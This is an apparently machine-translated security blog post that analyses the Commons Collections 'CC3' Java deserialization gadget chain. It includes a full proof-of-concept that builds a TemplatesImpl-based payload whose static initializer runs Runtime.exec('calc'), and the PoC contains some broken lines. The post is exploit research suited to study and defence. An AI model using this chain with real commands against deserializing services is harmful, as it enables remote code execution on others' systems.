Analysis of common collections deserialization utilization chain (3)

Yanxing security team 2021-06-23 18:56:12
analysis common collections deserialization utilization


The previous analysis of CC1 and CC2 Using the chain , In general, it's through InvokerTransformer#transforme Reflection calls cause code execution , But the concrete structure , Let's review CC1 and CC2 The idea of .

CC1

  • Create a new one map And bind the constructed Chainedtransformer

  • obtain map The key/value pair , And then call setValue Method to modify the value or put Method is called to Chainedtransformer#transform, Thus make use of InvokerTransformer#transform The reflection code of triggers malicious logic , Leading to command execution .

CC2

  • Well structured payload Cause to trigger to InvokerTransformer#transform, I won't elaborate here

  • utilize InvokerTransformer#transform Reflection code in reflection calls Templatesimpl Class newTransformer Method

  • Templatesimpl#newTransformer Call in Templatesimpl#getTransletInstance Method

  • getTransletInstance Method first Templatesimpl Member variables of _bytecode It's like a Class object .

  • And then it's still going through newinstance() Method creates an instance of the restored object , Creating an instance executes the initialization block of the class , So it leads to command execution .

POC

The poc It also uses javassist Etc , This article will not repeat , You can refer to commons-collections Analysis of deserialization utilization chain (1) and commons-collections Analysis of deserialization utilization chain (2)

package ysoserial.payloads;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(AbstractTranslet);
CtClass ct = pool.makeClass("CC_3");
ct.setSuperclass(pool.get(AbstractTranslet)); // Set created CC_3 The parent of a class is AbstractTranslet
ct.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ct.toBytecode();// Convert to byte Array
// Object templatesImpl = new TemplatesImpl(); // Call the constructor to create TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();// Reflection to create TemplatesImpl
// Reflection settings templatesImpl Of _bytecodes Field
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templatesImpl,new byte[][]{bytes});
// Reflection settings templatesImpl Of _name Field
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templatesImpl,"Mmuzz");
// Reflection settings templatesImpl Of _tfactory Field , Not setting will cause
Field _tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templatesImpl,new TransformerFactoryImpl());
// structure transformers
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.entrySet();
// take innnerMap and transformerChain( Conversion chain ) binding , When calling lazymap.get() Method will trigger the conversion chain trasnformer Method , Leading to command execution
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Object instance = ctor.newInstance(Override.class, outerMap);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,outerMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object instance = constructor.newInstance(Override.class,map1);
//payload Serialize write file , Analog network transmission
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//2. Read file from server , Deserialization , Analog network transmission
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
// Server side deserialization
fin.readObject();
}
}

Vulnerability analysis

The point of vulnerability is that InstantiateTransformer#transform Method , The function of this method is reflection call input( It's a Class The object of ) The construction method of the class described . Just parameters input and iParamTypesiArgs Field controllable , Then it can be reflected to the construction method of the target class .

stay InstantiateTransformer In the construction method of iParamTypes and iArgs Field assignment . And this class implements Transformer Interface

Here we use chain analysis to InstantiateTransformer#transform The method is the dividing point , In two parts :

  • How to construct and finally execute to InstantiateTransformer#transform Method , This step is called controlling the reflection utilization chain ( Convenient description , My own name )

  • How to construct talent InstantiateTransformer#transform Method is executed after the reflection call Templatesimpl#getTransletInstance Methods newinstance, This step is called command execution utilization chain

Control reflection utilization chain

Still familiar with ChainedTransformer class ,iTransformers Field is a Transformer An array of types , Assign a value , This field is assigned a value in the constructor .ChainedTransformer#transform Will call iTransformers For each element in the array transform Method , And take the previous result as the next input parameter .

stay LazyMap#get In the method factory The fields are ChainedTransformer You can call the ChainedTransformer#transform

factory It's also Transformer type . stay LazyMap#decorate Method reception 2 Parameters , One is map Type of , The other is factory, And will give factory Field assignment

When calling lazyMap Of get Method ChainedTransformer#transform, But there's a problem here InstantiateTransformer#transform Method needs a target class Class Object as parameter , There are two ways

  • call lazyMap#get Method when passing in the corresponding Class object ( This can't take advantage of the deserialization chain , I'll talk about it later )

  • Found an implementation Transformer The class of the interface , His transform Method to a target class corresponding to Class object

ConstantTransformer Class just satisfies the condition : The construction method can be used to IConstant Attribute assignment ,transform Methods will IConstant The value of is returned intact

therefore poc The construction code for controlling reflection in is as follows , stay InstantiateTransformer#transform Method is called to TrAXFilter Construction method of class

// structure transformers
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
// structure ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.entrySet();
// take innnerMap and ChainedTransformer( Conversion chain ) binding , When calling lazymap.get() Method will trigger the conversion chain trasnformer Method , Leading to command execution
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Command execution utilization chain

TrAXFilter Class templates Parametric newTransformer Method , Just need to make templates Parameter is TemplatesImpl An example of

The next step is with cc2 It's the same

newTransformer Method is called getTransletInstance() Method

getTransletInstance() In the method newinstance Method to create an instance and execute the command , therefore _class[_transletIndex] It must be a and AbstractTranslet Class of a class that has an inheritance relationship Class object .

Let's see _class The place of assignment , When _name And is not null _class It's empty ( therefore poc Set up _name), Will call defineTransletClasses() Method .

defineTransletClasses() In the method , It'll go through the classloader defineClass Method to restore the byte stream to a Class object .

Then call restore. Class Object's newinstace Method executes a static block of code when it creates an instance , So it leads to command execution .

How to deserialize trigger vulnerability

As mentioned earlier, when calling LazyMap Of get Method will trigger the vulnerability , If you find a class's readObject Method , And in this method, the LazyMap Of get Method, then you can , The question is how to trigger it ?

stay AnnotationInvocationHandler#readObject Will call this.memberValues.entrySet(),

In the construction method memberValues Field assignment

AnnotationInvocationHandler#invoke If this.memberValue yes LazyMap object , Then it will call lazymap.get Method , Which triggers the vulnerability .

We'll use it here java Knowledge of dynamic agent , The code comes from Liao Xuefeng java course - A dynamic proxy

public class Main {
public static void main(String[] args) {
// Generation processing call method ( That is to say morning Method ) Of InvocationHandler,
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // Pass in ClassLoader
new Class[] { Hello.class }, // Pass in the interface to be implemented
handler); // Incoming processing call method ( That is to say morning Method ) Of InvocationHandler

hello.morning("Bob");
}
}
// Proxied interface
interface Hello {
void morning(String name);
}

Hello An interface is a proxy interface , This interface defines morning Method ,

main Method into a processing call method ( That is to say morning Method ) Of handler object ( Inherited from InvocationHandler), The object invoke Method defines the specific method to handle the proxy interface (morning Method ) The logic of , And then through Proxy.newProxyInstance Method generates one Dynamic proxy class hello, When calling hello.morning Method will eventually be up to handler Of invoke Method .

Here poc Construction is the use of dynamic agents

AnnotationInvocationHandler Realized InvocationHandler, Is a class that deals with annotation methods . When the proxy method of the proxy class is called, it is eventually passed to the bound InvocationHandler Example of invoke Method treatment .

therefore poc Mr. Zhong has become one invocationHandler This is the real way to deal with the methods of the proxied class handler, Then the proxy class is created (LazyMap) Proxy class proxyMap. And then through the construction method new One. AnnotationInvocationHandler Namely instance,instance Medium memberValues Fields are proxy classes proxymap.

When instance Called on deserialization this.memberValues.entrySet(), If at this time this.memberValues Times theory proxyMap,entryset It's the method of being represented ( That is to say lazymap Methods ), Then the class that actually handles the calling method is called ( That is to say AnnotationInvocationHandler) Of invoke Method ,poc Call in AnnotationInvocationHandler The construction method of will memberValues Field assignment is a proxy class LzayMmap, So it will cause the vulnerability to trigger .

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// Create a InvocationHandler
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,outerMap);
// establish LazyMap Proxy class
Map proxyMap=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
// Create a InvocationHandler
Object instance = constructor.newInstance(Override.class,proxyMap);

summary

Through the above analysis , We can find out CC3 In fact, that is CC1 The first half of the chain and CC2 The second half of the chain , The process is as follows

  • Create a new one LazyMap And bind the constructed Chainedtransformer

  • call LazyMap Of get Method will call the Chainedtransformer#transform Thus make use of InstantiateTransformer#transform Call to TrAXFilter Construction method of class

  • TrAXFilter Class Templatesimpl#newTransformer

  • Templatesimpl#newTransformer Call in Templatesimpl#getTransletInstance

  • getTransletInstance Method first Templatesimpl Member variables of _bytecode It's like a Class object . And then it's still going through newinstance() Method creates an instance of the restored object , Creating an instance executes the initialization block of the class , So it leads to command execution .


版权声明
本文为[Yanxing security team]所创,转载请带上原文链接,感谢
https://javamana.com/2021/06/20210623185229457D.html

  1. 【计算机网络 12(1),尚学堂马士兵Java视频教程
  2. 【程序猿历程,史上最全的Java面试题集锦在这里
  3. 【程序猿历程(1),Javaweb视频教程百度云
  4. Notes on MySQL 45 lectures (1-7)
  5. [computer network 12 (1), Shang Xuetang Ma soldier java video tutorial
  6. The most complete collection of Java interview questions in history is here
  7. [process of program ape (1), JavaWeb video tutorial, baidu cloud
  8. Notes on MySQL 45 lectures (1-7)
  9. 精进 Spring Boot 03:Spring Boot 的配置文件和配置管理,以及用三种方式读取配置文件
  10. Refined spring boot 03: spring boot configuration files and configuration management, and reading configuration files in three ways
  11. 精进 Spring Boot 03:Spring Boot 的配置文件和配置管理,以及用三种方式读取配置文件
  12. Refined spring boot 03: spring boot configuration files and configuration management, and reading configuration files in three ways
  13. 【递归,Java传智播客笔记
  14. [recursion, Java intelligence podcast notes
  15. [adhere to painting for 386 days] the beginning of spring of 24 solar terms
  16. K8S系列第八篇(Service、EndPoints以及高可用kubeadm部署)
  17. K8s Series Part 8 (service, endpoints and high availability kubeadm deployment)
  18. 【重识 HTML (3),350道Java面试真题分享
  19. 【重识 HTML (2),Java并发编程必会的多线程你竟然还不会
  20. 【重识 HTML (1),二本Java小菜鸟4面字节跳动被秒成渣渣
  21. [re recognize HTML (3) and share 350 real Java interview questions
  22. [re recognize HTML (2). Multithreading is a must for Java Concurrent Programming. How dare you not
  23. [re recognize HTML (1), two Java rookies' 4-sided bytes beat and become slag in seconds
  24. 造轮子系列之RPC 1:如何从零开始开发RPC框架
  25. RPC 1: how to develop RPC framework from scratch
  26. 造轮子系列之RPC 1:如何从零开始开发RPC框架
  27. RPC 1: how to develop RPC framework from scratch
  28. 一次性捋清楚吧,对乱糟糟的,Spring事务扩展机制
  29. 一文彻底弄懂如何选择抽象类还是接口,连续四年百度Java岗必问面试题
  30. Redis常用命令
  31. 一双拖鞋引发的血案,狂神说Java系列笔记
  32. 一、mysql基础安装
  33. 一位程序员的独白:尽管我一生坎坷,Java框架面试基础
  34. Clear it all at once. For the messy, spring transaction extension mechanism
  35. A thorough understanding of how to choose abstract classes or interfaces, baidu Java post must ask interview questions for four consecutive years
  36. Redis common commands
  37. A pair of slippers triggered the murder, crazy God said java series notes
  38. 1、 MySQL basic installation
  39. Monologue of a programmer: despite my ups and downs in my life, Java framework is the foundation of interview
  40. 【大厂面试】三面三问Spring循环依赖,请一定要把这篇看完(建议收藏)
  41. 一线互联网企业中,springboot入门项目
  42. 一篇文带你入门SSM框架Spring开发,帮你快速拿Offer
  43. 【面试资料】Java全集、微服务、大数据、数据结构与算法、机器学习知识最全总结,283页pdf
  44. 【leetcode刷题】24.数组中重复的数字——Java版
  45. 【leetcode刷题】23.对称二叉树——Java版
  46. 【leetcode刷题】22.二叉树的中序遍历——Java版
  47. 【leetcode刷题】21.三数之和——Java版
  48. 【leetcode刷题】20.最长回文子串——Java版
  49. 【leetcode刷题】19.回文链表——Java版
  50. 【leetcode刷题】18.反转链表——Java版
  51. 【leetcode刷题】17.相交链表——Java&python版
  52. 【leetcode刷题】16.环形链表——Java版
  53. 【leetcode刷题】15.汉明距离——Java版
  54. 【leetcode刷题】14.找到所有数组中消失的数字——Java版
  55. 【leetcode刷题】13.比特位计数——Java版
  56. oracle控制用户权限命令
  57. 三年Java开发,继阿里,鲁班二期Java架构师
  58. Oracle必须要启动的服务
  59. 万字长文!深入剖析HashMap,Java基础笔试题大全带答案
  60. 一问Kafka就心慌?我却凭着这份,图灵学院vip课程百度云